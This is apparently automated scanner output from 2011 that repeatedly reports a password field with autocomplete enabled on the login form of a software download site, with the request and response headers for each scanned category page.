HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:42 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22group%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86955
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-groups-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22groups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22groups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-highspeed-connection-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A20%3A%22highspeed-connection%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A20%3A%22highspeed+connection%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32070
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-image-grabber-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:48 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22image-grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22image+grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91637
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-images-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22images%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91682
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-internet-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 39465
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-internet-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22internet%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93902
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-kill-file-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:56:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22kill-file%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22kill+file%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93504
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-killfile-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22killfile%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22killfile%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28388
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-mp3-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22mp3%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94965
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-multimedia-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:19 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22multimedia%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92538
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-multipart-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:39 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22multipart%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 73514
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-news-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:35 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 42617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-news-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22news%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86979
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-news-reader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:32 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A11%3A%22news-reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A11%3A%22news+reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94415
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-newsfeed-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:48:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:58:30 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22newsfeed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37199
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-newsgroup-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:24 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 36453
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-newsgroup-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:46 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22newsgroup%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76091
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-newsgroups-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-newsgroups-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:01:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88631
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-newsreader-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32574
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-newsreader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55916
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-nntp-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
